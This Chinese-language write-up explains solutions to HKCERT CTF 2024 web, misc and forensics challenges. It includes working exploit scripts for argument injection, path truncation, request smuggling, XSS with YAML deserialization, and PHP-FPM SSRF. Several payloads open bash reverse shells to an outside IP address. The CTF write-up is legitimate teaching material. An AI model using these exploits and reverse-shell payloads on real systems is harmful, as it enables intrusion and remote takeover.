-
Web
-
新免費午餐
-
米斯蒂茲的迷你 CTF (1)
-
米斯蒂茲的迷你 CTF (2)
-
PDF 生成器(1)
-
PDF 生成器(2)
-
已知用火 (1)
-
已知用火 (2)
-
JSPyaml
-
奇美拉
-
Misc
-
自行取旗
-
B6ACP
-
My Lovely Cats
-
Forensics
-
One Way Room
-
APT攻擊在哪裡 (1)
Web
新免費午餐
控制台直接使用以下指令完成遊戲
score = 9999
endGame()
完成後在計分板中查看flag
米斯蒂茲的迷你 CTF (1)
從sql初始化裡面可以看出Flag1在一個提交記錄裡面
查看attempt的model,有一個查詢過濾器,因此用戶只能查詢到自己的查詢記錄,因此需要拿到userid為2的用戶密碼才能取得這個flag
用戶player的密碼只有6位元hex格式字符
views中註冊api相關程式碼如下:
from flask import Blueprint, request, jsonify
from flask.views import MethodView
import collections
from app.views import pages
from app.views.api import users
from app.views.api import challenges
from app.views.api.admin import challenges as admin_challenges
from app.models.user import User
from app.models.challenge import Challenge
from app.models.attempt import Attempt
class GroupAPI(MethodView):
init_every_request = False
def __init__(self, model):
self.model = model
self.name_singular = self.model.__tablename__
self.name_plural = f'{self.model.__tablename__}s'
def get(self):
# the users are only able to list the entries related to them
items = self.model.query_view.all()
group = request.args.get('group')
if group is not None and not group.startswith('_') and group in dir(self.model):
grouped_items = collections.defaultdict(list)
for item in items:
id = str(item.__getattribute__(group))
grouped_items[id].append(item.marshal())
return jsonify({self.name_plural: grouped_items}), 200
return jsonify({self.name_plural: [item.marshal() for item in items]}), 200
def register_api(app, model, name):
group = GroupAPI.as_view(f'{name}_group', model)
app.add_url_rule(f'/api/{name}/', view_func=group)
def init_app(app):
# Views
app.register_blueprint(pages.route, url_prefix='/')
# API
app.register_blueprint(users.route, url_prefix='/api/users')
app.register_blueprint(challenges.route, url_prefix='/api/challenges')
app.register_blueprint(admin_challenges.route, url_prefix='/api/admin/challenges')
register_api(app, User, 'users')
register_api(app, Challenge, 'challenges')
register_api(app, Attempt, 'attempts')
文件中定義了可以透過存取/api/{name}/
的格式來取得指定model的數據,且group可以指定一個欄位名稱作為傳回內容的鍵名,因此可以額外取得到model預設返回值之外的字段,透過/api/users/?group=password可以獲得密碼:
發現並不是sql中設定的密碼格式,在user的model中可以找到原因,它創建了一個監聽器,每次進行密碼的修改就會透過compute_hash來處理
@event.listens_for(User.password, 'set', retval=True)
def hash_user_password(target, value, oldvalue, initiator):
if value != oldvalue:
return compute_hash(value)
return value
compute_hash函數如下
def compute_hash(password, salt=None):
if salt is None:
salt = os.urandom(4).hex()
return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()
因此我們透過api拿到的密碼是salt和sha256,使用以下腳本進行hash碰撞以獲得密碼
import hashlib
import itertools
chars = '0123456789abcdef'
combinations = [''.join(combo) for combo in itertools.product(chars, repeat=6)]
for password in combinations:
if '744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94' == hashlib.sha256(f'77364c85/{password}'.encode()).hexdigest():
print(password)
# 7df71e
使用密碼7df71e成功登入player用戶,造訪api/attempts/?group=flag 取得flag
米斯蒂茲的迷你 CTF (2)
和上面的使用同樣的環境,從sql中可以看出Flag2在id為1337的題目描述中,但是從api接口中查詢不到這個題目的信息,從代碼中找到原因,只要是通過query_view來進行查詢的只能查詢到當前時間之前的記錄,而sql中定義了1337的題目時間是當前時間之後的,因此查不到
找到位於admin的api裡面,沒有使用過濾器直接查詢的接口
因此需要登入admin用戶才能拿到Flag2,在註冊處直接使用了user的model來接收參數進行註冊
在model中定義了以下字段
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String, nullable=False)
is_admin = db.Column(db.Boolean, default=False)
password = db.Column(db.String, nullable=False)
score = db.Column(db.Integer, default=0)
last_solved_at = db.Column(db.DateTime)
因此註冊時使用傳入is_admin為True即可註冊管理員用戶
註冊後在/api/admin/challenges/拿到flag
PDF 生成器(1)
主要程式碼如下:
@app.route('/process', methods=['POST'])
def process_url():
# Get the session ID of the user
session_id = request.cookies.get('session_id')
html_file = f"{session_id}.html"
pdf_file = f"{session_id}.pdf"
# Get the URL from the form
url = request.form['url']
# Download the webpage
response = requests.get(url)
response.raise_for_status()
with open(html_file, 'w') as file:
file.write(response.text)
# Make PDF
stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')
if returncode != 0:
return f"""
<h1>Error</h1>
<pre>{stdout}</pre>
<pre>{stderr}</pre>
"""
return redirect(pdf_file)
疑似指令注入,跟進execute_command
def execute_command(command):
"""
Execute an external OS program securely with the provided command.
Args:
command (str): The command to execute.
Returns:
tuple: (stdout, stderr, return_code)
"""
# Split the command into arguments safely
args = shlex.split(command)
try:
# Execute the command and capture the output
result = subprocess.run(
args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=True # Raises CalledProcessError for non-zero exit codes
)
return result.stdout, result.stderr, result.returncode
except subprocess.CalledProcessError as e:
# Return the error output and return code if command fails
return e.stdout, e.stderr, e.returncode
指令被分割了,並不會造成注入,但是wkhtmltopdf存在任意檔案讀取漏洞,需要使用--enable-local-file-access參數,因此進行參數注入即可,先將html放在伺服器,再打poc
<html>
<iframe src="file:///flag.txt">
</html>
url = "https://c52a-webpage-to-pdf-1-t519-r36jghu3qed6ru6azopujzln.hkcert24.pwnable.hk/"
def exp():
print(requests.post(url + "process",data={"url": "http://8.134.146.39:801/"}, cookies={"session_id": "123"}, allow_redirects=False).text)
print(requests.post(url + "process",data={"url": "http://8.134.146.39:801/"}, cookies={"session_id": "--enable-local-file-access 123.html '"}, allow_redirects=False).text)
exp()
然後瀏覽器訪問.html --enable-local-file-access 123.html .pdf
拿到flag
PDF 生成器(2)
跟上面差不多關鍵程式碼改成如下:
@app.route('/process', methods=['POST'])
def process_url():
# Get the session ID of the user
session_id = request.cookies.get('session_id')
pdf_file = f"{session_id}.pdf"
# Get the URL from the form
url = request.form['url']
# Download the webpage
response = requests.get(url)
response.raise_for_status()
# Make PDF
pdfkit.from_string(response.text, pdf_file)
return redirect(pdf_file)
換成pdfkit來處理了,跟進這個from_string函數,發現html內容可以控制pdfkit的選項
def _find_options_in_meta(self, content):
"""Reads 'content' and extracts options encoded in HTML meta tags
:param content: str or file-like object - contains HTML to parse
returns:
dict: {config option: value}
"""
if (isinstance(content, io.IOBase)
or content.__class__.__name__ == 'StreamReaderWriter'):
content = content.read()
found = {}
for x in re.findall('<meta [^>]*>', content):
if re.search('name=["']%s' % self.configuration.meta_tag_prefix, x):
name = re.findall('name=["']%s([^"']*)' %
self.configuration.meta_tag_prefix, x)[0]
found[name] = re.findall('content=["']([^"']*)', x)[0]
return found
換成以下html放在伺服器上
<html>
<meta name="pdfkit---enable-local-file-access" content="">
<iframe src="file:///flag.txt">
</html>
然後直接提交html的url就能拿到flag
已知用火 (1)
C寫的httpserver,程式碼量不大:
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#define PORT 8000
#define BUFFER_SIZE 1024
typedef struct {
char *content;
int size;
} FileWithSize;
bool ends_with(char *text, char *suffix) {
int text_length = strlen(text);
int suffix_length = strlen(suffix);
return text_length >= suffix_length &&
strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);
FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;
fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);
char *content = malloc(filesize + 1);
if (!content) return NULL;
fread(content, 1, filesize, fd);
content[filesize] = ' ';
fclose(fd);
FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;
return file;
}
void build_response(int socket_id, int status_code, char* status_description, FileWithSize *file) {
char *response_body_fmt =
"HTTP/1.1 %u %srn"
"Server: mystiz-web/1.0.0rn"
"Content-Type: text/htmlrn"
"Connection: %srn"
"Content-Length: %urn"
"rn";
char response_body[BUFFER_SIZE];
sprintf(response_body,
response_body_fmt,
status_code,
status_description,
status_code == 200 ? "keep-alive" : "close",
file->size);
write(socket_id, response_body, strlen(response_body));
write(socket_id, file->content, file->size);
free(file->content);
free(file);
return;
}
void handle_client(int socket_id) {
char buffer[BUFFER_SIZE];
char requested_filename[BUFFER_SIZE];
while (1) {
memset(buffer, 0, sizeof(buffer));
memset(requested_filename, 0, sizeof(requested_filename));
if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;
if (sscanf(buffer, "GET /%s", requested_filename) != 1)
return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));
FileWithSize *file = read_file(requested_filename);
if (!file)
return build_response(socket_id, 404, "Not Found", read_file("404.html"));
build_response(socket_id, 200, "OK", file);
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int socket_id = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(PORT);
if (bind(socket_id, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) exit(1);
if (listen(socket_id, 5) < 0) exit(1);
while (1) {
int client_address_len;
int new_socket_id = accept(socket_id, (struct sockaddr *)&client_address, (socklen_t*)&client_address_len);
if (new_socket_id < 0) exit(1);
int pid = fork();
if (pid == 0) {
handle_client(new_socket_id);
close(new_socket_id);
}
}
}
第一感覺就是要打任意文件讀取,但是限制了只能讀取白名單後綴的文件。而程式碼中變量都使用了BUFFER_SIZE設定的緩衝區大小,但是在read_file函數中,在路徑的前面加入了public/,因此如果原本我們輸入的路徑已經接近BUFFER_SIZE的緩衝區大小限制,則會造成路徑最後的字串遺失,利用這一點繞過白名單限制並讀取flag
import socket
import ssl
host = "c02a-custom-server-1-1.hkcert24.pwnable.hk"
port = 1337
sock = socket.create_connection((host, port))
print("connected")
context = ssl.create_default_context()
ssl_sock = context.wrap_socket(sock, server_hostname=host)
path = "/../../../../../../../flag.txt.js"
c = 1024 - len(path) - 5
path_payload = "/" * c + path
payload = f'''GET /{path_payload} HTTP/1.1
'''.replace("n","rn").encode()
ssl_sock.sendall(payload)
print("sended")
print(ssl_sock.recv(1024).decode())
print(ssl_sock.recv(1024).decode())
已知用火 (2)
程式碼一樣,但是中間用了nginx來做反向代理,如果我們在路徑輸入../則會被nginx直接返回400,因此要打請求走私,後端伺服器每次只讀取1024作為一個請求,但是nginx可以接收比它大很多的請求,exp如下,需要競爭請求結果。
import socket
import ssl
import threading
import time
import urllib.parse
def test():
c1 = 0
while True:
host = "c02b-custom-server-2-2.hkcert24.pwnable.hk"
port = 1337
sock = socket.create_connection((host, port))
context = ssl.create_default_context()
s = context.wrap_socket(sock, server_hostname=host)
path = "/../../../../../../../../../../../flag.txt.js"
c = 1024 - len(path) - 5
path_payload = "/" * c + path
path_payload = b'GET /'+path_payload.encode()
payload = f'''GET /index.html HTTP/1.1
Host: 123
Content-Length: {944 + len(path_payload) + 1024}
'''.replace("n", "rn").encode()
payload += b'a' * 944
s.sendall(payload + path_payload + path_payload + b'rnrnGET /000.html HTTP/1.0rnHost: 123rnrn' + payload + path_payload + path_payload)
s11 = ""
for i in range(10):
s11 += s.recv(10240).decode()
if 'hkcert24' in s11:
print(s11)
c1 += 1
print("r" + str(c1) , end="")
threading.Thread(target=test).start()
test()
JSPyaml
關鍵程式碼如下:
app.post('/debug', (req, res) => {
if(ip.isLoopback(req.ip) && req.cookies.debug === 'on'){
const yaml = require('js-yaml');
let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
try{
let input = req.body.yaml;
console.log(`Input: ${input}`);
let output = yaml.load(input, {schema});
console.log(`Output: ${output}`);
res.json(output);
}catch(e){
res.status(400).send('Error');
}
}else{
res.status(401).send('Unauthorized');
}
});
需要使用bot去請求,bot只接受一個url並訪問,因此需要打XSS,前端程式碼如下
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>YAML Parser</title>
<script src="https://cdn.jsdelivr.net/pyodide/v0.26.2/full/pyodide.js"></script>
<style>
body {
font-family: Arial, sans-serif;
margin: 50px;
}
textarea {
width: 100%;
height: 200px;
}
pre {
background-color: #cccccc;
padding: 20px;
white-space: pre-wrap;
}
</style>
</head>
<body>
<h1>YAML Parser</h1>
<textarea id="yaml" placeholder="- YAML"></textarea><br>
<button id="parse">Parse</button>
<h2>Output:</h2>
<pre id="output"></pre>
<script>
let pyodide;
async function init(){
pyodide = await loadPyodide();
await pyodide.loadPackage("pyyaml");
runHash();
}
async function run(y){
x = `+'`'+`import yaml
yaml.load("""`+`$`+`{y.replaceAll('"','')}""",yaml.Loader)`+'`'+`;
try {
output.textContent = await pyodide.runPythonAsync(x);
} catch (e) {
output.textContent = e;
}
}
async function runHash() {
const hash = decodeURIComponent(window.location.hash.substring(1));
if (hash) {
yaml.value = hash;
run(hash);
}
}
parse.addEventListener("click", async () => {run(yaml.value)});
onhashchange = runHash;
onload = init;
</script>
</body>
</html>
使用了pyodide來在瀏覽器內運行python程式碼,並且使用pyyaml來解析yaml,但是解析結果被設定成textContent,並不會觸發xss。想法是利用pyyaml反序列化漏洞執行python程式碼,並且調用js模組執行js程式碼來完成xss。以下poc產生一個可以進行XSS的url,提交給bot即可完成api的訪問
payload = '''
import pyodide
payload = """
document.cookie = "debug=on; path=/;";
const data = new URLSearchParams();
data.append('yaml', `xxx`);
fetch('/debug', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include',
body: data.toString()
})
.then(response => response.json())
.then(data => console.log('成功:', data))
.catch(error => console.error('请求出错:', error));
"""
pyodide.code.run_js(payload)
'''
payload = f"http://127.0.0.1:3000/#!!python/object/apply:exec [exec(__import__('base64').b64decode('{base64.b64encode(payload.encode()).decode()}').decode())]"
print(payload)
繼續審計/debug的api程式碼,在js-yaml-js-types函式庫中,定義了function標籤,用於在yaml中產生一個方法,但是並不能直接執行此方法,因為內部調用的是new Function來完成
但在題目程式碼中,將yaml解析的結果
const yaml = require('js-yaml');
let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
try{
let input = req.body.yaml;
console.log(`Input: ${input}`);
let output = yaml.load(input, {schema});
console.log(`Output: ${output}`);
res.json(output);
}catch(e){
res.status(400).send('Error');
}
這樣的操作會觸發對象的toString方法,因此只需要給yaml的toString鍵設定一個Function作為值,即可在拼接中觸發方法,如下:
"toString": !<tag:yaml.org,2002:js/function> 'function (){global.process.mainModule.constructor._load("child_process").spawnSync("bash",["-c","bash -i >& /dev/tcp/8.134.146.39/1244 0>&1"],{ encoding: "utf-8"})}'
由於沒有上下文,無法直接使用require導入child_process,需要走global.process.mainModule來導入。最終payload
import base64
url = "https://c62-jspyaml-t519-hev2ottoirslajxbb32csyeq.hkcert24.pwnable.hk/"
payload = '''
import pyodide
payload = """
document.cookie = "debug=on; path=/;";
const data = new URLSearchParams();
data.append('yaml', `"toString": !<tag:yaml.org,2002:js/function> 'function (){global.process.mainModule.constructor._load("child_process").spawnSync("bash",["-c","bash -i >& /dev/tcp/8.134.146.39/1244 0>&1"],{ encoding: "utf-8"})}'`);
fetch('/debug', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include',
body: data.toString()
})
.then(response => response.json())
.then(data => console.log('成功:', data))
.catch(error => console.error('请求出错:', error));
"""
pyodide.code.run_js(payload)
'''
payload = f"http://127.0.0.1:3000/#!!python/object/apply:exec [exec(__import__('base64').b64decode('{base64.b64encode(payload.encode()).decode()}').decode())]"
print(payload)
由於提交bot有個反人類的驗證,手動提交url即可。
奇美拉
lime.php
<?php
class CitrusWorkspace {
function __construct($root) {
if (!is_dir($root)) {
mkdir($root, 0755);
}
$this->root = $root;
}
function create($filename, $symlink=0, $target="") {
$this->validate_filename($filename);
if ($symlink === 0) {
@file_put_contents($this->root.$filename, "");
}
else {
@symlink($target, $this->root.$filename);
try {
if (str_contains(@readlink($this->root.$filename), "/") || str_contains(@readlink($this->root.$filename), "..")) {
throw new Exception("Trying to hack?");
}
}
catch (Exception $e) {
@unlink($this->root.$filename);
throw $e;
}
}
}
function read($filename) {
$this->validate_filename($filename);
sleep(5);
chdir($this->root);
$buf = @file_get_contents($this->resolve_symlink($filename));
return $buf;
}
function write($filename, $data) {
$this->validate_filename($filename);
sleep(5);
chdir($this->root);
@file_put_contents($this->resolve_symlink($filename), $data);
}
function delete($filename) {
$this->validate_filename($filename);
$this->assert_file_exists($this->root.$filename);
@unlink($this->root.$filename);
}
function list() {
$res = array();
$ls = array_diff(scandir($this->root), array("..", "."));
foreach($ls as $k => $v) {
if (is_link($this->root.$v)) {
$res[$v] = "Symlink to ".@readlink($this->root.$v);
}
else
$res[$v] = "File";
}
return $res;
}
function validate_filename($filename) {
if (preg_match('/[^a-z0-9]/i', $filename)) {
throw new Exception("Filename only contain alphanumerics.");
}
}
function assert_file_exists($filename) {
if (file_exists($filename) === false && is_link($filename) === false) {
throw new Exception("File not found.");
}
}
function resolve_symlink($filename) {
if (is_link($filename)) {
return @readlink($filename);
}
return $filename;
}
}
?>
citrus.php
<?php
session_start();
require_once("lime.php");
$dirname= md5(session_id());
$workspace = new CitrusWorkspace("/tmp/$dirname/");
$mode = !empty($_POST["mode"]) ? $_POST["mode"] : null;
$filename = !empty($_POST["filename"]) ? $_POST["filename"] : null;
$error = null;
try {
if (($_SERVER["REQUEST_METHOD"] === "POST") && ($mode === null || $filename === null)) {
throw new Exception("mode or filename cannot be empty.");
}
switch($mode) {
case "create":
$symlink = isset($_POST["symlink"]) ? 1 : 0;
$target = !empty($_POST["target"]) ? $_POST["target"] : null;
$workspace->create($filename, $symlink, $target);
break;
case "read":
$contents = $workspace->read($filename);
break;
case "write":
$data = !empty($_POST["data"]) ? $_POST["data"] : "";
$workspace->write($filename, $data);
break;
case "delete":
$workspace->delete($filename);
break;
}
} catch(Exception $e) {
$error = $e->getMessage();
}
$ls = $workspace->list();
?>
思路是透過創建鏈接生成的鏈接再創建鏈接,這樣就檢測不到有惡意的鏈接目標,寫入文件時通過兩層鏈接仍任可以正常讀寫文件,因此先得出以下poc
url = "https://c25-chimera-t519-pji6ue6qjfb5c45we2ja6z57.hkcert24.pwnable.hk/citrus.php%3fsss.php"
# url = "http://8.134.146.39:8080/citrus.php"
sess = requests.session()
PHPID = "123"
t = threading.BoundedSemaphore(10)
def write(file, content):
sess.post(url, data={"mode": "write", "filename": file, "data": content}, cookies={"PHPSESSID": PHPID})
def create(target, filename):
sess.post(url, data={"mode": "create", "symlink": "1", "target": target, "filename": filename, }, cookies={"PHPSESSID": PHPID})
def read(filename):
return sess.post(url, data={"mode": "read", "filename": filename }, cookies={"PHPSESSID": PHPID})
def write_anyfile(file, content):
rand1 = str(random.randint(99999,999999999))
rand2 = str(random.randint(99999,999999999))
create(rand2, rand1)
create(file, rand1)
write(rand2, content)
def read_any_file(file):
rand1 = str(random.randint(99999,999999999))
rand2 = str(random.randint(99999,999999999))
create(rand2, rand1)
create(file, rand1)
res = read(rand2).text
return res.split('<p class="card-text">')[1].split('</div>')[0]
但在web目錄下沒有寫入權限,而/flag則沒有讀取權限,打filter的cnext也沒成功,因此啟動了一個題目用的webdevops/php-apache:8.0鏡像,發現使用的是fpm的tcp模式,直接打ftp被動模式over ssrf打fpm即可,在伺服器上啟動ftp腳本,網絡上有現成
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 333))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcomen')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.n')
#Size /
conn.send(b'550 Could not get the file size.n')
#EPSV (1)
conn.send(b'150 okn')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)n') #STOR / (2)
conn.send(b'150 Permission denied.n')
#QUIT
conn.send(b'221 Goodbye.n')
conn.close()
再使用以下exp完成攻擊
import base64
import random
import threading
import requests
url = "https://c25-chimera-t519-pji6ue6qjfb5c45we2ja6z57.hkcert24.pwnable.hk/citrus.php%3fsss.php"
# url = "http://8.134.146.39:8080/citrus.php"
sess = requests.session()
PHPID = "123"
t = threading.BoundedSemaphore(10)
def write(file, content):
sess.post(url, data={"mode": "write", "filename": file, "data": content}, cookies={"PHPSESSID": PHPID})
def create(target, filename):
sess.post(url, data={"mode": "create", "symlink": "1", "target": target, "filename": filename, }, cookies={"PHPSESSID": PHPID})
def read(filename):
return sess.post(url, data={"mode": "read", "filename": filename }, cookies={"PHPSESSID": PHPID})
def write_anyfile(file, content):
rand1 = str(random.randint(99999,999999999))
rand2 = str(random.randint(99999,999999999))
create(rand2, rand1)
create(file, rand1)
write(rand2, content)
def read_any_file(file):
rand1 = str(random.randint(99999,999999999))
rand2 = str(random.randint(99999,999999999))
create(rand2, rand1)
create(file, rand1)
res = read(rand2).text
return res.split('<p class="card-text">')[1].split('</div>')[0]
write_anyfile("/tmp/a.php", "<?php system('bash -c "bash -i >&/dev/tcp/8.134.146.39/7788 0>&1"'); ?>")
write_anyfile("ftp://8.134.146.39:333/a.php", base64.b64decode("AQHEAQAIAAAAAQAAAAAAAAEExAEBswAADgFDT05URU5UX0xFTkdUSDAMEENPTlRFTlRfVFlQRWFwcGxpY2F0aW9uL3RleHQLBFJFTU9URV9QT1JUOTk4NQsJU0VSVkVSX05BTUVsb2NhbGhvc3QRC0dBVEVXQVlfSU5URVJGQUNFRmFzdENHSS8xLjAPDlNFUlZFUl9TT0ZUV0FSRXBocC9mY2dpY2xpZW50CwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8KU0NSSVBUX0ZJTEVOQU1FL3RtcC9hLnBocAsKU0NSSVBUX05BTUUvdG1wL2EucGhwCR9QSFBfVkFMVUVhdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DgRSRVFVRVNUX01FVEhPRFBPU1QLAlNFUlZFUl9QT1JUODAPCFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xDABRVUVSWV9TVFJJTkcPFlBIUF9BRE1JTl9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24NAURPQ1VNRU5UX1JPT1QvCwlTRVJWRVJfQUREUjEyNy4wLjAuMQsKUkVRVUVTVF9VUkkvdG1wL2EucGhwAQTEAQAAAAABBcQBAAAAAA=="))
Misc
自行取旗
題目如下:
from base64 import b64decode
from secrets import token_hex
import subprocess
import os
import sys
import tempfile
FLAG = os.environ["FLAG"] if os.environ.get("FLAG") is not None else "hkcert24{test_flag}"
print("Encode your Go program in base64")
code = input(">> ")
with tempfile.TemporaryDirectory() as td:
fn = token_hex(16)
src = os.path.join(td, f"{fn}")
with open(src+".go", "w") as f:
f.write(b64decode(code).decode())
p = subprocess.run(["./fork", "build", "-o", td, src+".go"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # renamed binary
if p.returncode != 0:
print(r"Fail to build ¯_(ツ)_/¯")
sys.exit(1)
_ = subprocess.run([src], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if _.returncode == 0:
print(r"You can write Go programs with no bugs, but I cannot give you the flag ¯_(ツ)_/¯")
sys.exit(1)
if b"panic" in _.stderr:
print("I am calm...")
sys.exit(1)
print(f"You are an experienced Go developer, here's your flag: {FLAG}")
sys.exit(1)
可以運行任意go文件,直接覆蓋base64.py進行RCE
package main
import (
"os"
)
func main() {
payload := `import os
code = input("111> ")
print(os.popen(code).read())
`
os.WriteFile("base64.py", []byte(payload), 0777)
}
base64編碼後傳入即可,再次連線時輸入env獲得flag。
B6ACP
首先透過抓包發現一個開源的searchor
項目
搜尋searchor
的歷史漏洞,找到以下項目,但是直接使用的話是無效的,要修改項目裡面的一些參數
Searchor <= 2.4.2 (2.4.0) 的 POC 漏洞(任一 CMD 注入)
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
原始碼
修改之後
首先我們修改了監聽的連接端口為2333,然後透過抓包抓取的資料對網頁的路徑進行了修改,並且把參數修改為抓包抓到的參數
使用指令:./exploit.sh 題目給出的網址 主機IP 端口
然後在home目錄下找到flag
My Lovely Cats
首先打開附件得出了一張圖片和一個mov運行程序,程序運行直接生成了兩個txt文檔
回顯程式成功執行,然後我們去檢查圖片,發現圖片正常,沒有隱寫東西在裡面,然後根據題目描述:flag就在mov
程式中,我們去分析程式放入010發現這塊有base編碼特徵,正常拿去解碼發現不成功,然後我們把base編碼逆序。
解碼出以下內容
有一個網址,我們去訪問網址發現了被註解的flag
Forensics
One Way Room
UUID of /dev/sda1:b2bc2958-9c47-495a-8bab-3bae83cf9ca4
打開火眼取證工具查看log記錄,然後在/var/log/kern.log下發現root的uuid,發現提交正確
kern.log:內核產⽣的⽇志
Backdoor URL:https://t.ly/backdoor.sh
首先先去查看主機內的php和asp、jsp文件發現裡面都沒有木馬執行指令,接著去看看定時Linux中Crontab(定時任務)在目錄下發現了一個後門.sh,提交正確
Password for user very-secure:nokiasummer1990
直接去查看/etc/shadow下存放用戶和密碼的文件,然後使用john進行爆破,得出密碼
Deleted file flag:flag{th3_fi13_sh411_b3_d313t3d}
在用戶very-secure下的回收站目錄發現已刪除的flag文件
IP of login attempt:192.166.246.54
直接在火眼取證的登陸失敗日誌發現ip
APT攻擊在哪裡 (1)
根據文件給予的路徑尋找即可
/forensic/ntfs/1/Users/night01/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/
原文始发于微信公众号(山石网科安全技术研究院):香港網安奪旗賽HKCERT CTF 2024 Write up(上)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论